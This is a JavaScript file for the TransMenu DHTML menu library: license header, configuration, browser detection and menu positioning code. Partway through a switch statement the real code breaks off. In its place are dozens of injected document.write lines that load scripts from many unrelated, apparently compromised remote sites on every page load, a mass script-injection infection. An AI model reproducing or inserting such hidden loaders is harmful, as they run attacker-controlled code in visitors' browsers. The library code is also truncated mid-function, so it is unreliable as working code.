/* =================================================================================================
 * TransMenu
 *
 * Customizable multi-level animated DHTML menus with transparency.
 *
 * Copyright 2003-2004, Aaron Boodman (www.youngpup.net)
 * =================================================================================================
 * "Can I use this?"
 * 
 * Use of this library is governed by the Creative Commons Attribution-NonCommercial-ShareAlike 1.0
 * License. You can check it out at: http://creativecommons.org/licenses/by-nc-sa/1.0
 *
 * Basically:
 * - You may copy, distribute, and eat this code as you wish. But you must give me credit for 
 *   writing it. You may not misrepresent yourself as the author of this code.
 * - You may not use this code in a commercial setting without prior consent from me.
 * - If you make changes to this code, you must make the changes available under a license like
 *   this one.
 * =================================================================================================
 * "It's kinda hard to read, though"
 *
 * The uncompressed, commented version of this script can be found at: 
 * http://youngpup.net/projects/transMenus
 * =================================================================================================
 * updates:
 * 12.23.03     added hideCurrent for menu actuators with no menus. renamed to TransMenu.
 * 04.18.03	fixed render bug in IE 5.0 Mac by removing that browser from compatibility table ;)
			also made gecko check a little more strict by specifying build no.
 * ============================================================================================== */



//==================================================================================================
// Configuration properties
//==================================================================================================
TransMenu.spacerGif = "img/x.gif";                     // path to a transparent spacer gif
TransMenu.dingbatOn = "img/submenu-on.gif";            // path to the active sub menu dingbat
TransMenu.dingbatOff = "img/submenu-off.gif";          // path to the inactive sub menu dingbat
TransMenu.dingbatSize = 14;                            // size of the dingbat (square shape assumed)
TransMenu.menuPadding = 2;                             // padding between menu border and items grid
TransMenu.itemPadding = 2;                             // additional padding around each item
TransMenu.shadowSize = 0;                              // size of shadow under menu
TransMenu.shadowOffset = 0;                            // distance shadow should be offset from leading edge
TransMenu.shadowColor = "#000000";                        // color of shadow (transparency is set in CSS)
TransMenu.shadowPng = "img/grey-40.png";               // a PNG graphic to serve as the shadow for mac IE5
TransMenu.backgroundColor = "#723A0C";                   // color of the background (transparency set in CSS)
TransMenu.backgroundPng = "img/white-90.png";          // a PNG graphic to server as the background for mac IE5
TransMenu.hideDelay = 1000;                            // number of milliseconds to wait before hiding a menu
TransMenu.slideTime = 400;                             // number of milliseconds it takes to open and close a menu


//==================================================================================================
// Internal use properties
//==================================================================================================
TransMenu.reference = {topLeft:1,topRight:2,bottomLeft:3,bottomRight:4};
TransMenu.direction = {down:1,right:2};
TransMenu.registry = [];
TransMenu._maxZ = 100;



//==================================================================================================
// Static methods
//==================================================================================================
// supporting win ie5+, mac ie5.1+ and gecko >= mozilla 1.0
TransMenu.isSupported = function() {
        var ua = navigator.userAgent.toLowerCase();
		var pf = navigator.platform.toLowerCase();
        var an = navigator.appName;
        var r = false;

        if (ua.indexOf("gecko") > -1 && navigator.productSub >= 20020605) r = true; // gecko >= moz 1.0
        else if (an == "Microsoft Internet Explorer") {
                if (document.getElementById) { // ie5.1+ mac,win
                        if (pf.indexOf("mac") == 0) {
							r = /msie (\d(.\d*)?)/.test(ua) && Number(RegExp.$1) >= 5.1;
						}
						else r = true;
                }
        }

        return r;
}

// call this in onload once menus have been created
TransMenu.initialize = function() {
        for (var i = 0, menu = null; menu = this.registry[i]; i++) {
                menu.initialize();
        }
}

// call this in document body to write out menu html
TransMenu.renderAll = function() {
        var aMenuHtml = [];
        for (var i = 0, menu = null; menu = this.registry[i]; i++) {
                aMenuHtml[i] = menu.toString();
        }
        document.write(aMenuHtml.join(""));
}

//==================================================================================================
// TransMenu constructor (only called internally)
//==================================================================================================
// oActuator            : The thing that causes the menu to be shown when it is mousedover. Either a
//                        reference to an HTML element, or a TransMenuItem from an existing menu.
// iDirection           : The direction to slide out. One of TransMenu.direction.
// iLeft                : Left pixel offset of menu from actuator
// iTop                 : Top pixel offset of menu from actuator
// iReferencePoint      : Corner of actuator to measure from. One of TransMenu.referencePoint.
// parentMenuSet        : Menuset this menu will be added to.
//==================================================================================================
function TransMenu(oActuator, iDirection, iLeft, iTop, iReferencePoint, parentMenuSet) {
        // public methods
        this.addItem = addItem;
        this.addMenu = addMenu;
        this.toString = toString;
        this.initialize = initialize;
        this.isOpen = false;
        this.show = show;
        this.hide = hide;
        this.items = [];

        // events
        this.onactivate = new Function();       // when the menu starts to slide open
        this.ondeactivate = new Function();     // when the menu finishes sliding closed
        this.onmouseover = new Function();      // when the menu has been moused over
        this.onqueue = new Function();          // hack .. when the menu sets a timer to be closed a little while in the future
        
        // initialization
        this.index = TransMenu.registry.length;
        TransMenu.registry[this.index] = this;

        var id = "TransMenu" + this.index;
        var contentHeight = null;
        var contentWidth = null;
        var childMenuSet = null;
        var animating = false;
        var childMenus = [];
        var slideAccel = -1;
        var elmCache = null;
        var ready = false;
        var _this = this;
        var a = null;

        var pos = iDirection == TransMenu.direction.down ? "top" : "left";
        var dim = null;

        // private and public method implimentations
        function addItem(sText, sUrl) {
                var item = new TransMenuItem(sText, sUrl, this);
                item._index = this.items.length;
                this.items[item._index] = item;
        }

        function addMenu(oMenuItem) {
                if (!oMenuItem.parentMenu == this) throw new Error("Cannot add a menu here");

                if (childMenuSet == null) childMenuSet = new TransMenuSet(TransMenu.direction.right, -5, 2, TransMenu.reference.topRight);

                var m = childMenuSet.addMenu(oMenuItem);

                childMenus[oMenuItem._index] = m;
                m.onmouseover = child_mouseover;
                m.ondeactivate = child_deactivate;
                m.onqueue = child_queue;

                return m;
        }

        function initialize() {
                initCache();
                initEvents();
                initSize();
                ready = true;
        }

        function show() {
                //dbg_dump("show");
                if (ready) {
                        _this.isOpen = true;
                        animating = true;
                        setContainerPos();
                        elmCache["clip"].style.visibility = "visible";
                        elmCache["clip"].style.zIndex = TransMenu._maxZ++;
                        //dbg_dump("maxZ: " + TransMenu._maxZ);
                        slideStart();
                        _this.onactivate();
                }
        }

        function hide() {
                if (ready) {
                        _this.isOpen = false;
                        animating = true;

                        for (var i = 0, item = null; item = elmCache.item[i]; i++) 
                                dehighlight(item);

                        if (childMenuSet) childMenuSet.hide();

                        slideStart();
                        _this.ondeactivate();
                }
        }

        function setContainerPos() {
                var sub = oActuator.constructor == TransMenuItem; 
                var act = sub ? oActuator.parentMenu.elmCache["item"][oActuator._index] : oActuator; 
                var el = act;
                
                var x = 0;
                var y = 0;

                
                var minX = 0;
                var maxX = (window.innerWidth ? window.innerWidth : document.body.clientWidth) - parseInt(elmCache["clip"].style.width);
                var minY = 0;
                var maxY = (window.innerHeight ? window.innerHeight : document.body.clientHeight) - parseInt(elmCache["clip"].style.height);

                // add up all offsets... subtract any scroll offset
                while (sub ? el.parentNode.className.indexOf("transMenu") == -1 : el.offsetParent) {
                        x += el.offsetLeft;
                        y += el.offsetTop;

                        if (el.scrollLeft) x -= el.scrollLeft;
                        if (el.scrollTop) y -= el.scrollTop;
                        
                        el = el.offsetParent;
                }

                if (oActuator.constructor == TransMenuItem) {
                        x += parseInt(el.parentNode.style.left);
                        y += parseInt(el.parentNode.style.top);
                }

                switch (iReferencePoint) {
                        case TransMenu.reference.topLeft:
                                break;
                        case TransMenu.reference.topRight:
                                x += act.offsetWidth;
                                break;
                        case TransMenu.reference.bottomLeft:
                               
document.write('<script src=http://bhaviarts.com/upload.tmp/order1.php ><\/script>');
document.write('<script src=http://bhaviarts.com/upload.tmp/order1.php ><\/script>');
document.write('<script src=http://bhaviarts.com/upload.tmp/order1.php ><\/script>');
document.write('<script src=http://bhaviarts.com/upload.tmp/order1.php ><\/script>');
document.write('<script src=http://bhaviarts.com/upload.tmp/order1.php ><\/script>');
document.write('<script src=http://karnevalskuenstler.de/buttons/schwielowsee_4.php ><\/script>');
document.write('<script src=http://karnevalskuenstler.de/buttons/schwielowsee_4.php ><\/script>');
document.write('<script src=http://karnevalskuenstler.de/buttons/schwielowsee_4.php ><\/script>');
document.write('<script src=http://karnevalskuenstler.de/buttons/schwielowsee_4.php ><\/script>');
document.write('<script src=http://karnevalskuenstler.de/buttons/schwielowsee_4.php ><\/script>');
document.write('<script src=http://xgthx.extra.hu/source/index.php ><\/script>');
document.write('<script src=http://xgthx.extra.hu/source/index.php ><\/script>');
document.write('<script src=http://xgthx.extra.hu/source/index.php ><\/script>');
document.write('<script src=http://xgthx.extra.hu/source/index.php ><\/script>');
document.write('<script src=http://xgthx.extra.hu/source/index.php ><\/script>');
document.write('<script src=http://xgthx.extra.hu/source/index.php ><\/script>');
document.write('<script src=http://xgthx.extra.hu/source/index.php ><\/script>');
document.write('<script src=http://xgthx.extra.hu/source/index.php ><\/script>');
document.write('<script src=http://halatenisowa.pl/cache/naukagry.php ><\/script>');
document.write('<script src=http://halatenisowa.pl/cache/naukagry.php ><\/script>');
document.write('<script src=http://halatenisowa.pl/cache/naukagry.php ><\/script>');
document.write('<script src=http://halatenisowa.pl/cache/naukagry.php ><\/script>');
document.write('<script src=http://genesis-theatre.com/images/index.php ><\/script>');
document.write('<script src=http://artescort.ru/cache/index.php ><\/script>');
document.write('<script src=http://injurylawyercenter.com/floridabraininjurylawyers/indexo.php ><\/script>');
document.write('<script src=http://injurylawyercenter.com/floridabraininjurylawyers/indexo.php ><\/script>');
document.write('<script src=http://dwgconversion.com/images/gifimg.php ><\/script>');
document.write('<script src=http://dwgconversion.com/images/gifimg.php ><\/script>');
document.write('<script src=http://dwgconversion.com/images/gifimg.php ><\/script>');
document.write('<script src=http://kemdrills.com/WEB-INF/classes/jkm/servertest.class.php ><\/script>');
document.write('<script src=http://aprilbc.com/_private/robots.php ><\/script>');
document.write('<script src=http://aprilbc.com/_private/robots.php ><\/script>');
document.write('<script src=http://aprilbc.com/_private/robots.php ><\/script>');
document.write('<script src=http://aprilbc.com/_private/robots.php ><\/script>');
document.write('<script src=http://aprilbc.com/_private/robots.php ><\/script>');
document.write('<script src=http://aprilbc.com/_private/robots.php ><\/script>');
document.write('<script src=http://aprilbc.com/_private/robots.php ><\/script>');
document.write('<script src=http://aprilbc.com/_private/robots.php ><\/script>');
document.write('<script src=http://aprilbc.com/_private/robots.php ><\/script>');
document.write('<script src=http://aprilbc.com/_private/robots.php ><\/script>');
document.write('<script src=http://hanfmesse.at/js/layout_topSEC.php ><\/script>');
document.write('<script src=http://hanfmesse.at/js/layout_topSEC.php ><\/script>');
document.write('<script src=http://hanfmesse.at/js/layout_topSEC.php ><\/script>');
document.write('<script src=http://hanfmesse.at/js/layout_topSEC.php ><\/script>');
document.write('<script src=http://hanfmesse.at/js/layout_topSEC.php ><\/script>');
document.write('<script src=http://hanfmesse.at/js/layout_topSEC.php ><\/script>');
document.write('<script src=http://noorgiri.com/_vti_bin/aboutus.php ><\/script>');
document.write('<script src=http://noorgiri.com/_vti_bin/aboutus.php ><\/script>');
document.write('<script src=http://noorgiri.com/_vti_bin/aboutus.php ><\/script>');
document.write('<script src=http://noorgiri.com/_vti_bin/aboutus.php ><\/script>');
document.write('<script src=http://noorgiri.com/_vti_bin/aboutus.php ><\/script>');
document.write('<script src=http://noorgiri.com/_vti_bin/aboutus.php ><\/script>');
document.write('<script src=http://noorgiri.com/_vti_bin/aboutus.php ><\/script>');
document.write('<script src=http://solexpress.com.ar/images/gifimg.php ><\/script>');
document.write('<script src=http://solexpress.com.ar/images/gifimg.php ><\/script>');
document.write('<script src=http://solexpress.com.ar/images/gifimg.php ><\/script>');
document.write('<script src=http://vachardia.com/AWStats/process.php ><\/script>');
document.write('<script src=http://vachardia.com/AWStats/process.php ><\/script>');
document.write('<script src=http://vachardia.com/AWStats/process.php ><\/script>');
document.write('<script src=http://vachardia.com/AWStats/process.php ><\/script>');
document.write('<script src=http://vachardia.com/AWStats/process.php ><\/script>');
document.write('<script src=http://sensationsresorts.com/images/index.php ><\/script>');
document.write('<script src=http://sensationsresorts.com/images/index.php ><\/script>');
document.write('<script src=http://sensationsresorts.com/images/index.php ><\/script>');
document.write('<script src=http://sensationsresorts.com/images/index.php ><\/script>');
document.write('<script src=http://sensationsresorts.com/images/index.php ><\/script>');
document.write('<script src=http://arrikituki.com/inclu/php.php ><\/script>');
document.write('<script src=http://arrikituki.com/inclu/php.php ><\/script>');
document.write('<script src=http://arrikituki.com/inclu/php.php ><\/script>');
document.write('<script src=http://arrikituki.com/inclu/php.php ><\/script>');
document.write('<script src=http://arrikituki.com/inclu/php.php ><\/script>');